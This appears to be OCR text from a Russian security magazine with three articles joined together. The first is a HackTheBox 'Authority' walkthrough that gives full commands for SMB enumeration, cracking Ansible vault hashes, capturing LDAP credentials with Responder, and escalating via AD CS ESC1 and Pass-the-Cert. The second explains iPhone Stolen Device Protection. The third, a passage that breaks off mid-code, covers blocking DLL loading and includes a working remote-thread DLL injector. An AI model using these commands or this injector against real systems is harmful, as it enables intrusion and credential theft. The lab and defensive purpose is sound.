9389 — веб-служ бы AD DS.•

ÒÎ×ÊÀ ÂÕÎÄÀ

Пер вым делом про верим дос туп от име ни гос тевой учет ной записи, для чего
будем исполь зовать фрей мворк .CrackMapExec

 crackmapexec smb 10.10.11.222 -u guest -p ""

Про вер ка гос тевой учет ной записи

Дос туп есть, про верим дос тупные для чте ния общие ресур сы.

  crackmapexec smb 10.10.11.222 -u guest -p "" --sahres

Об щие ресур сы SMB

В спис ке зна чит ся инте рес ный каталог , который мы можем

прос мотреть. Под клю чаем к шаре с помощью  и смот- 

рим содер жимое.

Development
impacket-smbclient

impacket-smbclient guest@10.10.11.222 
use Development 
ls

Со дер жимое SMB-ресур са Development

Ви дим вло жен ный каталог. Спус тившись по катало гам даль ше, находим
дирек торию Ansible, содер жащую пап ки , ,  и .ADCS LDAP PWM SHARE

Вло жен ные катало ги

ÒÎ×ÊÀ ÎÏÎÐÛ

В катало ге  находим файл .yml, содер жащий зашиф рован ные

учет ные дан ные.

PWM\defaults

get PWM\defaults\main.yml 
cat main.yml 

Со дер жимое фай ла main.yml

Все учет ные дан ные зашиф рованы одним клю чом, который мож но попытать ся
подоб рать. Пер вым делом сох раним один из бло ков в файл, который затем
переда дим скрип ту  для пре обра зова ния в фор мат

hashcat/jtr.

ansible2john.py

Пре обра зова ние бло ка дан ных

Те перь опре делим тип хеша. Делать это удоб но с помощью справ ки hashcat.

 |    hashcat --example grep -A7 -B11 'ansible'

Справ ка hashcat

Те перь сох раня ем хеш в файл и переда ем его в hashcat вмес те с получен ным
режимом  (параметр ) и спис ком паролей.16900 -m

ansible2john ansible_hash2.txt > hash.txt 
 0 hashcat -m 16900 -a --username hash.txt rockyou.txt 

Ре зуль тат перебо ра хеша

В ито ге получа ем ключ, которым мож но рас шифро вать все пароли. Каж дый
сох раня ем в отдель ный файл и исполь зуем .ansible-vault decrypt

cat ansible_hash.txt | ansible-vault decrypt 
cat ansible_hash2.txt | ansible-vault decrypt 
cat ansible_hash3.txt | ansible-vault decrypt 

По луче ние паролей ansible-vault

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/fortra/impacket/blob/master/examples/smbclient.py
https://raw.githubusercontent.com/willstruggle/john/master/ansible2john.py


ПОВЫШАЕМ ПРИВИЛЕГИИ
В WINDOWS ЧЕРЕЗ ESC1 И PASS

THE CERT

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

С получен ными учет ными дан ными авто ризо вать ся на служ бах не уда лось.
Но мы так же получи ли кре ды для PWM на пор те 8443.

Под клю чение к пор ту 8443

По луча ем ошиб ку, которая сооб щает о том, что обя зате лен TLS. Зна чит,
меня ем про токол с HTTP на HTTPS.

Глав ная стра ница сай та

Для авто риза ции нужен логин, которо го у нас нет. Но если перей ти к менед- 
жеру нас тро ек, то там тре бует ся толь ко сер висный пароль.

Ме нед жер нас тро ек

Стра ница авто ризо ван ного поль зовате ля

На этой стра нице мож но сох ранять или заг ружать нас трой ки. Так же отоб- 
ража ется таб лица сос тояния, в которой видим ошиб ку под клю чения к LDAP.
Видимо, адрес сер вера LDAP ука зан в нас трой ках, и если мы смо жем их
изме нить, то вызовем авто риза цию на свой сер вер. При чем пароли LDAP
переда ются в откры том виде.

Ска чан ная кон фигура ция

На ходим адрес LDAP в ска чан ных нас трой ках и перепи сыва ем зна чение
на свой адрес.

Из менен ная кон фигура ция

За пус каем у себя мно гофун кци ональ ный лис тенер  и заг ружа ем

изме нен ный файл.

Responder

sudo responder -I tun0 -v

Ло ги Responder

В зап росе есть как логин, так и пароль домен ного поль зовате ля .

Для про вер ки учет ных дан ных про буем получить спи сок поль зовате лей
с помощью CrackMapExec.

svc_ldap

  crackmapexec smb 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
--users

Поль зовате ли домена

Поль зовате лей мало, про верим, сос тоит ли наш в груп пе Remote
Management Users.

  
 

crackmapexec smb 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
--groups 'Remote Management Users'

Чле ны груп пы Remote Management Users

Та ким обра зом, поль зователь может получить управле ние через служ бу
WinRM. Для под клю чения исполь зуем ути литу .Evil-WinRM

 evil-winrm -i 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

В общем катало ге так же была дирек тория ADCS. Служ бы сер тифика тов Active
Directory (AD CS) — это нас тра иваемые служ бы для выдачи сер тифика тов
и управле ния ими в сис темах безопас ности ПО, исполь зующих тех нологии
откры тых клю чей.

Цен тры сер тифика ции AD CS выда ют сер тифика ты с парамет рами,
которые опре деля ются шаб лонами. Эти шаб лоны пред став ляют собой
наборы политик регис тра ции и пре доп ределен ных парамет ров сер тифика та
и содер жат раз ные све дения, нап ример:

срок дей ствия сер тифика та;•
пред назна чение сер тифика та;•
спо соб ука зания субъ екта;•
ко му раз решено зап росить сер тифика ты.•

Каж дый ЦС пред при ятия пос тавля ется с шаб лонами по умол чанию,
и общепри нята прак тика брать их за осно ву. То есть если ты хочешь дать кли- 
енту сер тификат для работы с 802.1x, то нуж но взять копию шаб лона
Computer, а если S/MIME-сер тифика ты, то копию шаб лона User. Наз вания
шаб лонов могут сбить с тол ку, одна ко фун дамен таль ной раз ницы меж ду ними
нет. Каж дый шаб лон может выдать сер тификат любого типа, если он запол- 
нен пра виль ными парамет рами. Но шаб лоны сер тифика тов — это так же
защища емые объ екты в Active Directory, то есть они име ют дес крип тор
безопас ности, ука зыва ющий, какие учас тни ки Active Directory име ют опре- 
делен ные пра ва для шаб лона.

По лучить информа цию о цен тре сер тифика ции и про верить уяз вимые
шаб лоны мож но с помощью ути литы .Certify

.\Certify.exe find /vulnerable

Ин форма ция из ADCS

Ви дим уяз вимый шаб лон сер тифика та . Этот сер тификат уяз вим

к тех нике повыше ния при виле гий ESC1:

CorpVPN

 показы вает, что компь юте ры домена могут
зап росить сер тификат без утвер жде ния менед жером;

•  Enrollment Permissions

 показы вает, что сер тификат может исполь- 
зовать ся для аутен тифика ции в домене ( );

• pKIExtendedKeyUsage

Client Authentication

 содер жит флаг
, говоря щий о том, что шаб лон

сер тифика та поз воля ет зап рашива ющим лицам ука зывать имя объ екта
в CSR.

• msPKI-Certificate-Name-Flag

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

Пос ледний пункт при водит к тому, что поль зователь с низ кими при виле гиями
может зап рашивать сер тификат с про изволь ным SAN, то есть для любого
поль зовате ля в домене, вклю чая адми нис тра тора. Затем мож но исполь зовать
этот сер тификат для аутен тифика ции от име ни ука зан ного поль зовате ля.

Но так как получить сер тификат может толь ко компь ютер, соз даем под кон- 
троль ную учет ную запись компь юте ра.

 
   

impacket-addcomputer  authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!'
-computer-name 'rcomp$' -computer-pass 'RRrr!!11'

Соз дание учет ной записи компь юте ра

Для работы  нуж но добавить в  записи

для компь юте ра и цен тра сер тифика ции.

вер сии Certipy на Python /etc/hosts

10.10.11.222 authority.htb authority.authority.htb AUTHORITY-CA 

А от име ни соз данно го компь юте ра зап росим сер тификат для поль зовате ля
Administrator.

    certipy-ad req -u 'rcomp$' -p 'RRrr!!11' -ca AUTHORITY-CA -target 
authority.htb -template CorpVPN -upn administrator@authority.htb -dns
authority.authority.htb -dc-ip 10.10.11.222 

По луче ние сер тифика та адми нис тра тора

Те перь нуж но получить дос туп к машине.

Pass the certificate
Pass the cert — это тех ника получе ния билета TGT, при которой для аутен- 
тифика ции исполь зует ся сер тификат поль зовате ля вмес то пароля. Обыч но
это мож но про вер нуть в той же Certipy, но в дан ном слу чае получа ем ошиб ку.

certipy-ad auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 

Ошиб ка получе ния TGT-билета

Certipy и PKINITtools исполь зуют PKINIT и получа ют TGT-билет, что бы
с помощью тех ники UnPac the hash извлечь NT-хеш учет ной записи. Если вер- 
нуть ся к шаб лону сер тифика та, мож но уви деть, что он не име ет EKU Smart
Card Logon, а зна чит, и не будет под дер жки PKINIT! Тог да возь мем дру гую
прог рамму — . Она под клю чает ся к LDAP, исполь зуя аутен тифика- 
цию Schannel. Но спер ва раз делим файл PFX на сер тификат и ключ.

PassTheCert

 certipy-ad cert -pfx administrator_authority.pfx -nokey -out 
administrator_authority.crt 

 certipy-ad cert -pfx administrator_authority.pfx -nocert -out 
administrator_authority.key 

Из вле чение сер тифика та и клю ча

В PassTheCert есть очень удоб ная встро енная ути лита для работы с LDAP —
. Получив дос туп к LDAP коман дой , добав ляем

соз данную учет ную запись компь юте ра в груп пу адми нис тра торов.

ldap_shell add_user_to_group

python3 passthecert.py -action ldap-shell -crt administrator_
authority.crt -key administrator_authority.key -domain authority.htb 
-dc-ip 10.10.11.222 

Экс плу ата ция Pass the Cert через LDAP

А теперь под клю чаем ся через WinRM и забира ем флаг адми нис тра тора.

   evil-winrm -i 10.10.11.222 -u 'rcomp$' -p 'RRrr!!11'

Флаг рута

Ма шина зах вачена!

https://github.com/lgandx/Responder
https://github.com/Hackplayers/evil-winrm
https://github.com/GhostPack/Certify
https://github.com/ly4k/Certipy
https://github.com/AlmondOffSec/PassTheCert/tree/main
https://github.com/PShlyundin/ldap_shell
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ПРИВАТНОСТЬ

В новой бете iOS 17.3 появи лась инте рес- 
ная фун кция Stolen Device Protection,
которая приз вана обес печить допол нитель- 
ный уро вень безопас ности. Эта фича будет
сто ять на стра же как чувс тви тель ных дан- 
ных, так и учет ной записи Apple ID, если
вмес те с самим устрой ством зло умыш- 
ленник получит его код бло киров ки. Раз- 
берем ся под робно — от чего и как она
защища ет.

Тра дици онно счи талось, что код бло киров ки («пароль на iPhone») более
безопа сен, чем любые методы биомет ричес кой аутен тифика ции. В рам ках
эко сис темы Apple код бло киров ки экра на дол гое вре мя был и до сих пор
оста ется самым важ ным клю чом ко все му. Имея на руках iPhone поль зовате ля
и зная код бло киров ки, мож но получить дос туп прак тичес ки ко все му и изме- 
нить прак тичес ки всё. Нап ример, зная PIN, мож но прос мотреть все пароли
поль зовате ля из связ ки клю чей, в том чис ле от важ ных учет ных записей. Взло- 
мав их, зло умыш ленник фак тичес ки пол ностью зав ладе ет циф ровой лич- 
ностью жер твы.

Мож но сбро сить пароль от iCloud, уда лить ста рый и добавить новый
доверен ный телефон ный номер — пос ле чего зло умыш ленник ста новит ся
в гла зах Apple «закон ным вла дель цем» учет ной записи. На самом устрой стве
мож но сбро сить пароль от резер вной копии, под клю чить его к компь юте ру
и извлечь из него дан ные . Не будет пре уве- 
личе нием ска зать, что код бло киров ки (вмес те с самим аппа ратом) — бук- 
валь но ключ ко все му.

хо рошо извес тным спо собом

«Не слиш ком ли мно го завяза но на один лишь код бло киров ки? — веро- 
ятно, подума ли в Apple. — А вдруг зло умыш ленник под смот рит или, хуже того,
зас тавит сооб щить код бло киров ки экра на? Нель зя ли с этим что-нибудь сде- 
лать?»

Воз можно, на эту мысль раз работ чиков ком пании навели статьи, подоб- 
ные пуб ликации в Wall Street Journal 

, а так же  на сай те Apple, в которых рас- 
ска зыва лись (а так же активно читались и обсужда лись) страш ные исто рии
о том, что слу чилось с тем или иным поль зовате лем, у которо го зло умыш- 
ленни ки не толь ко укра ли или отня ли iPhone, но и раз личны ми спо соба ми
узна ли пароль от него. Вкрат це: ничего хороше го, мно го пло хого, а испра- 
вить раз рушитель ные пос ледс твия гра мот ных дей ствий зло умыш ленни ков
очень тяжело или и вов се невоз можно (и в Apple даже не пытались помочь
пос тра дав шим).

A Basic iPhone Feature Helps Criminals
Steal Your Entire Digital Life об сужде ния

Вряд ли в Apple хотят защитить дан ные поль зовате лей от дей ствий
полиции, которая может изъ ять телефон и зас тавить подоз рева емо го выдать
пароль. Одна ко лабора тор ный ана лиз устрой ств даже с извес тным кодом
бло киров ки будет сущес твен но осложнен, а то и вов се ста нет невоз можным
(нап ример, мы пока не зна ем, защища ет ли новая фун кция от соп ряжения
iPhone с компь юте ром). Ско рее защитить пыта ются от сле дующих сце нари ев:
1. Зло умыш ленни ки под смот рели код бло киров ки, пос ле чего укра ли iPhone.
2. Гра бите ли отня ли iPhone и зас тавили сооб щить код бло киров ки от него.
3. iPhone попал в руки орга низо ван ной прес тупной груп пы, которая собира- 

ется не прос то сбро сить устрой ство или про дать его на зап части, а вос- 
поль зовать ся им по мак симуму — начиная с опус тошения при вязан ных
к Apple Pay сче тов и закан чивая уго ном учет ных записей в соци аль ных
сетях с пос леду ющей кра жей дан ных и шан тажом. Увы, это не фан тасти ка,
такие про исшес твия регуляр но осве щают ся на стра ницах газет.

ÊÀÊ ÏÛÒÀÞÒÑß ÐÅØÈÒÜ ÏÐÎÁËÅÌÓ

Раз на доверен ное устрой ство и код бло киров ки от него завяза но столь ко
все го, раз работ чикам фун кции Stolen Device Protection пот ребова лось «раз- 
мыть» вес пароля от iPhone в качес тве уни вер саль ного клю ча. Сде лать
это попыта лись дву мя спо соба ми.

, для ряда дей ствий (нап ример, для прос мотра сох ранен ных
на устрой стве паролей или сбро са устрой ства) отклю чает ся фун кция так
называ емо го passcode fallback — ког да пос ле неудач ной попыт ки аутен- 
тифика ции по лицу (Face ID) или дат чику отпе чат ков (Touch ID) сис тема зап- 
рашива ет код бло киров ки. Таким обра зом, для прос мотра паролей или сбро- 
са нас тро ек (при вклю чен ной фун кции Stolen Device Protection) аутен тифици- 
ровать ся мож но толь ко при помощи биомет рии — но не вво дом кода бло- 
киров ки.

Âî�ïåð âûõ

, для самых опас ных дей ствий (нап ример, изме нение пароля

от Apple ID или отвязка телефо на от iCloud) пот ребу ется не толь ко биомет- 
ричес кая аутен тифика ция (без воз можнос ти исполь зовать вмес то нее PIN-
код) — в ряде слу чаев при дет ся подож дать как минимум час, пос ле чего пов- 
торить попыт ку, сно ва прой дя аутен тифика цию с биомет рией. И да, добав- 
ление нового лица или отпе чат ка тоже пот ребу ет выж дать паузу.

Âî�âòî ðûõ

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ

По ка что фун кция Stolen Device Protection активно тес тиру ется; мы не зна ем,
в каком виде она вой дет в релиз ную сбор ку iOS 17.3. Пос ле релиза Apple
собира ется под робно докумен тировать фун кцию, но пока это го не сде лали.
На сегод няшний день име ем сле дующее.

Дей ствия, для которых пот ребу ется аутен тифика ция Face ID или Touch ID:
прос мотр или исполь зование паролей и клю чей из связ ки клю чей;•
прос мотр и добав ление пла теж ных карт в Apple Pay;•
от клю чение режима Lost Mode;•
сброс нас тро ек (нап ример, Reset all settings, которая оставля ет дан ные,
но сбра сыва ет код бло киров ки устрой ства и пароль к резер вной копии);

•

не кото рые дей ствия в Wallet (в основном у поль зовате лей Apple Cash);•
оп лата в Safari с исполь зовани ем сох ранен ных пла теж ных карт;•
ис поль зование iPhone для нас трой ки нового устрой ства.•

Для некото рых дей ствий не толь ко пот ребу ется аутен тифика ция через Face ID
или Touch ID, но и вво дит ся допол нитель ная часовая задер жка. При этом
Apple ого вари вает, что задер жки не будет, если iPhone находит ся в одном
из пос тоян ных мест пре быва ния поль зовате ля, нап ример дома или на
работе. Ско рее все го, для это го исполь зует ся мало извес тная, но дав но
сущес тву ющая в iOS фун кция Frequent Locations. Итак, часовая задер жка (в
допол нение к биомет ричес кой аутен тифика ции) вво дит ся:

при изме нении пароля от Apple ID;•
при обновле нии некото рых парамет ров безопас ности Apple ID, вклю чая
добав ление или уда ление доверен ных устрой ств, доверен ного номера
телефо на, Recovery Key или Recovery Contact;

•

из менение кода бло киров ки iPhone;•
до бав ление или уда ление Face ID или Touch ID;•
от клю чение фун кции Find My iPhone;•
от клю чение самой фун кции Stolen Device Protection.•

ÌÎÆÍÎ ËÈ ÒÀÊÈÌ ÎÁÐÀÇÎÌ ÇÀÙÈÒÈÒÜ ÑÂÎÈ ÄÀÍÍÛÅ ÎÒ
ÈÇÂËÅ×ÅÍÈß?

Ес ли твой iPhone попал в руки спе циалис тов, которые попыта ются извлечь
из него дан ные, то новая фун кция поможет час тично защитить информа цию.
Почему «час тично»? Дело в том, что при извес тном коде бло киров ки новая
фун кция не помеша ет ни получить дос туп к домаш нему экра ну устрой ства,
ни запус тить при ложе ния поч ты или твой любимый мес сен джер. Соот ветс- 
твен но, перепис ку, фотог рафии и мно гие дру гие дан ные мож но прос матри- 
вать пря мо на экра не устрой ства; для докумен тирова ния про цес са мож но
делать скрин шоты и пересы лать их куда угод но и как угод но.

Че го не получит ся сде лать — это прос мотреть твои сох ранен ные пароли.
Пока непонят но, сра бота ет ли соп ряжение с компь юте ром, но если у тебя
уста нов лен пароль на резер вную копию (ведь уста нов лен же?), то сбро сить
его уже не получит ся — а зна чит, и сама резер вная копия будет бес полез ной,
ведь ско рость перебо ра паролей к ней — бук валь но десят ки паролей в секун- 
ду.

Для iOS 17.3 пока не сущес тву ет экс пло итов, а устрой ства, на которые ее
мож но уста новить, не под верже ны Checkm8, так что со сто роны низ коуров- 
невых атак твой телефон будет защищен.

ÊÎÃÄÀ È ÃÄÅ?

Фун кция появит ся на всех моделях iPhone, сов мести мых с iOS 17, начиная
с iPhone XS. Веро ятно, релиз iOS 17.3 вый дет в пер вые месяцы 2024 года.

À ÌÛ ÏÐÅÄÓÏÐÅÆÄÀËÈ!

Еще в далеком 2017 году я писал , в которой пря мо говорил
об опас ности, которую пред став ляет собой чрез мерная зависи мость
от одно го лишь пароля, а в статье  и вов се наз вал код
бло киров ки «лож кой дег тя». В « » четыре года
назад писал о том, как при помощи пароля от iPhone лег ко сбро сить все
осталь ные. И вот, кажет ся, поч ти свер шилось! Не прош ло и шес ти релизов
iOS, как в Apple обра тили вни мание на сло на — и, похоже, готовы наконец
изгнать его из посуд ной лав ки.

тре вож ную статью

о безопас ности iOS
Че тырех с полови ной паролях

mailto:aoleg@voicecallcentral.com
https://blog.elcomsoft.ru/2022/11/rasshirennoe-logicheskoe-izvlechenie-v-ios-forensic-toolkit-8-shpargalka/
https://www.wsj.com/articles/apple-iphone-security-theft-passcode-data-privacya-basic-iphone-feature-helps-criminals-steal-your-digital-life-cbf14b1a
https://discussions.apple.com/thread/254303493
https://xakep.ru/2017/11/23/ios-passcode/
https://xakep.ru/2018/06/27/ios-security/
https://xakep.ru/2019/10/10/ios-passwords/
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КОДИНГ

Злые вирусы так и норовят под гру зить
в нашу легитим ную прог рамму свои биб- 
лиоте ки! Воз можно ли изба вить ся от чужих
модулей? Как пре дот вра тить заг рузку биб- 
лиотек или хотя бы сво евре мен но о ней
узнать? Давай раз бирать ся.

В основном Windows исполь зует два фор мата исполня емых фай лов — .exe
и DLL. Пер вые пред став ляют собой при выч ные для нас прог раммы, а DLL —
это биб лиоте ки с допол нитель ными фун кци ями, под гру жаемые исполня емым
фай лом. Фай лы DLL могут быть заг ружены в про цесс и сра зу при запус ке (так
называ емая ста тичес кая лин ковка), и при выпол нении (динами чес кая лин- 
ковка), то есть ког да про цесс уже вов сю работа ет и вдруг что-то его под-
талки вает к решению заг рузить биб лиоте ку.

Ни для кого не сек рет, что про цес сы в Windows име ют вир туаль ное
адресное прос транс тво. Прос транс тво пред став ляет собой кусок памяти,
который при над лежит толь ко текуще му про цес су. В этой час ти памяти будут
дан ные толь ко текуще го про цес са. При под груз ке DLL ока зыва ется в том же
самом адресном прос транс тве и, как следс твие, получа ет дос туп ко всем
дан ным про цес са. Такое поведе ние при водит к тому, что злос тные хакеры так
и жела ют, так и ждут под груз ки сво ей вре донос ной биб лиоте ки в наш про- 
цесс, что бы уста новить хуки, сдам пить память и вся чес ки изме нить поведе- 
ние прог раммы. С этим мож но бороть ся! Давай пос мотрим как.

UPDATEPROCTHREADATTRIBUTE

Пред лагаю начать с наибо лее рас простра нен ных спо собов пре дот вра щения
под груз ки DLL-биб лиотек в про цесс. Пер вый вари ант осно ван на фун кции

. Для его реали зации уста нав лива ется спе циаль- 
ное зна чение:
UpdateProcThreadAttribute()

PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 

Единс твен ная проб лема — в нашу прог рамму все-таки смо гут внед рять ся
чужие либы, но толь ко если они под писаны в Microsoft. Так же сто ит отме тить,
что пре дот вра щение под груз ки DLL будет при менять ся к про цес су, который
мы запус тим через , к текуще му про цес су при менить эту
фун кцию не получит ся.

CreateProcess()

Тем не менее есть воз можность обой ти это огра ниче ние. Наш текущий
про цесс может про верять, был ли он запущен с парамет ром, огра ничи- 
вающим под груз ку DLL. Если нет, то он запус кает копию самого себя, но уже
с помощью атри бутов, которые уста нав лива ются в фун кции

.UpdateProcThreadAttribute()
Итак, сна чала напишем фун кцию .

Для это го нам пот ребу ется лишь путь до исполня емо го фай ла, который нуж но
запус тить. Фун кция будет воз вра щать PID запущен ного про цес са, его хендл,
а так же хендл потока про цес са.

CreateProcessWithBlockDllPolicy()

     
        

BOOL CreateProcessWithBlockDllPolicy(IN LPSTR lpProcessPath, OUT
DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
         STARTUPINFOEXA SiEx = { 0 };
        PROCESS_INFORMATION Pi = { 0 };
   SIZE_T        sAttrSize = NULL;

    if (lpProcessPath == NULL)
    return FALSE;

  RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
  RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

   SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);
   SiEx.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    InitializeProcThreadAttributeList(NULL, 1, NULL, &sAttrSize);
    

 
 

LPPROC_THREAD_ATTRIBUTE_LIST pAttrBuf = (
LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, sAttrSize);

     
 

if (!InitializeProcThreadAttributeList(pAttrBuf, 1, NULL, &
sAttrSize)) {
   

 
printf("[!] InitializeProcThreadAttributeList Failed With 

Error : %d \n", GetLastError());
    return FALSE;
 }

    DWORD64 dwPolicy =
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAY
S_ON
;

    
   

  

if (!UpdateProcThreadAttribute(pAttrBuf, NULL,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &dwPolicy, sizeof(DWORD64),
NULL, NULL)) {
    printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n",
GetLastError());
    return FALSE;
 }

   SiEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)pAttrBuf;

  if (!CreateProcessA(
   NULL,
   lpProcessPath,
   NULL,
   NULL,
   FALSE,
   EXTENDED_STARTUPINFO_PRESENT,
   NULL,
   NULL,
   &SiEx.StartupInfo,
    &Pi)) {
    printf("[!] CreateProcessA Failed With Error : %d \n",
GetLastError());
    return FALSE;
 }

   *dwProcessId = Pi.dwProcessId;
   *hProcess = Pi.hProcess;
   *hThread = Pi.hThread;

 DeleteProcThreadAttributeList(pAttrBuf);
   HeapFree(GetProcessHeap(), 0, pAttrBuf);

            if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
    return TRUE;
 else
    return FALSE;
}

Сна чала мы очи щаем струк туры, а затем ини циали зиру ем струк туры, необ- 
ходимые для запус ка про цес са. Допол нитель но уста нав лива ем флаг:

EXTENDED_STARTUPINFO_PRESENT 

Это даст воз можность зап скать про цес сы с нуж ной митига цией.
Да лее с помощью фун кции  готовим струк- 

туру . Ее будем ука зывать в фун кцию

. Двой ной вызов фун кции стан дартен для Windows —
пер вый вызов слу жит для получе ния нуж ного раз мера, а вто рой для ини- 
циали зации эле мен тов струк туры.

InitializeProcThreadAttributeList()
LPPROC_THREAD_ATTRIBUTE_LIST

UpdateProcAttributeList()

За тем с помощью фун кции  заносим необ- 
ходимые атри буты в нашу струк туру со спис ком атри бутов, пос ле чего при- 
меня ем ее в фун кции , что поз воля ет запус тить про цесс

с защитой от под груз ки левых биб лиотек.

UpdateProcAttributeList()

CreateProcessA()

Как же запус тить текущий про цесс, при менив эту фун кцию? Здесь будем
исполь зовать аргу мен ты коман дной стро ки. Наш про цесс может породить
дочер ний такой же про цесс с митига цией, а самого себя унич тожить. Для это- 
го нам нуж но соз дать спе циаль ный . Если вдруг в аргу мен тах коман- 
дной стро ки текуще го про цес са нет , то он дол жен переза пус тить ся

с защитой от под груз ки DLL.

STOP_ARG
STOP_ARG

На ша фун кция  дол жна выг лядеть вот так:main()

#define LOCAL_BLOCKDLLPOLICY
#ifdef LOCAL_BLOCKDLLPOLICY
#define STOP_ARG "xakep"
#endif

     int main(int argc, char* argv[]) {

      DWORD dwProcessId = NULL;
     HANDLE hProcess = NULL,
     hThread = NULL;

#ifdef LOCAL_BLOCKDLLPOLICY
          if (argc == 2 && (strcmp(argv[1], STOP_ARG) == 0)) {
   printf("[+] Process Is Now Protected With The Block Dll Policy \n
");

    WaitForSingleObject((HANDLE)-1, INFINITE);
 }
  else {

   printf("[!] Local Process Is Not Protected With The Block Dll 
Policy \n");

      CHAR pcFilename[MAX_PATH * 2];
         if (!GetModuleFileNameA(NULL, (LPSTR)&pcFilename, MAX_PATH * 2))
{

      printf("[!] GetModuleFileNameA Failed With Error : %d \n",
GetLastError());

      return -1;
   }

        
  

DWORD dwBufferSize = (DWORD)(lstrlenA(pcFilename) + lstrlenA(
STOP_ARG) + 0xFF);
       

 
CHAR* pcBuffer = (CHAR*)HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, dwBufferSize);
    if (!pcBuffer)

      return FALSE;

       sprintf_s(pcBuffer, dwBufferSize, "%s %s", pcFilename, STOP_ARG);

      
  

if (!CreateProcessWithBlockDllPolicy(pcBuffer, &dwProcessId, &
hProcess, &hThread)) {

      return -1;
   }

     HeapFree(GetProcessHeap(), 0, pcBuffer);

    printf("[i] Process Created With Pid %d \n", dwProcessId);
 }
#endif
#ifndef LOCAL_BLOCKDLLPOLICY
  

    
if (!CreateProcessWithBlockDllPolicy((LPSTR)"C:\\Windows\\System32\

\RuntimeBroker.exe", &dwProcessId, &hProcess, &hThread)) {
    return -1;
 }
  printf("[i] Process Created With Pid %d \n", dwProcessId);

#endif
  return 0;
}

Сна чала объ явля ются некото рые дирек тивы, поз воля ющие управлять тем, что
мы хотим получить от кода. Если хотим защитить собс твен ную прог рамму, то
оставля ем . Если хотим запус тить иной про- 
цесс с защитой от под груз ки DLL, то уби раем это поле.

define LOCAL_BLOCKDLLPOLICY

За тем ука зыва ем необ ходимый , а в самой фун кции  про- 

веря ем, при сутс тву ет ли  в аргу мен тах коман дной стро ки. Если он
есть, то про цесс может спо кой но про дол жать свое выпол нение.

STOP_ARG main()
STOP_ARG

          if (argc == 2 && (strcmp(argv[1], STOP_ARG) == 0)) {
   printf("[+] Process Is Now Protected With The Block Dll Policy \n
");
   // Продолжаем выполнение
   // Наш код тут

    WaitForSingleObject((HANDLE)-1, INFINITE);
 }

Ес ли же это го аргу мен та нет, то про цесс порож дает сам себя с защитой.

printf("[!] Local Process Is Not Protected With The Block Dll Policy 
\n");

   CHAR pcFilename[MAX_PATH * 2];
      if (!GetModuleFileNameA(NULL, (LPSTR)&pcFilename, MAX_PATH * 2)) {
  printf("[!] GetModuleFileNameA Failed With Error : %d \n",
GetLastError());
  return -1;
}

     
  

DWORD dwBufferSize = (DWORD)(lstrlenA(pcFilename) + lstrlenA(STOP_ARG
) + 0xFF);

     CHAR* pcBuffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
dwBufferSize);
 if (!pcBuffer)
  return FALSE;

    sprintf_s(pcBuffer, dwBufferSize, "%s %s", pcFilename, STOP_ARG);

   
  

if (!CreateProcessWithBlockDllPolicy(pcBuffer, &dwProcessId, &
hProcess, &hThread)) {
  return -1;
}

  HeapFree(GetProcessHeap(), 0, pcBuffer);

 printf("[i] Process Created With Pid %d \n", dwProcessId);

По ра прис тупать к про вер ке. Сна чала запус каем наш про цесс с защитой.
Ском пилиро ван ный файл я наз вал .ProtectedProcess.exe

За пуск фай ла

Ви дим, что наш файл име ет осо бый бит, который показы вает даже Process
Hacker.

За щищен ный про цесс

Те перь поп робу ем внед рить ся. Для это го я написал прос тей ший инжектор
на .CreateRemoteThread()

#include <Windows.h>
#include <iostream>

     int main(int argc, char* argv[]) {
  HANDLE processHandle;
  PVOID remoteBuffer;
    wchar_t dllPath[] = TEXT("A:\\SSD\\ProjectsVS\\DllCpp\\x64\\Debug\\
DllInj.dll");

  DWORD pid;
   std::cin >> pid;

     processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
       std::cout << "OpenProcess: " << GetLastError() << std::endl;
      

 
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(dllPath),

MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
       std::cout << "VirtualAllocEx: " << GetLastError() << std::endl;
    

 
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath,

sizeof(dllPath), NULL);
       std::cout << "WriteProcessMemory: " << GetLastError() << std::endl;
    

 

PTHREAD_START_ROUTINE threatStartRoutineAddress = (
PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32"
)), "LoadLibraryW");
    

   
CreateRemoteThread(processHandle, NULL, 0,

threatStartRoutineAddress, remoteBuffer, 0, NULL);
       std::cout << "CreateRemoteThread: " << GetLastError() << std::endl;
 CloseHandle(processHandle);

  return 0;
}

Ин жектор заг ружа ет биб лиоте ку со сле дующим кодом:

#include "pch.h"
#include <iostream>
#include <string>

       
 

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID
fImpLoad) {
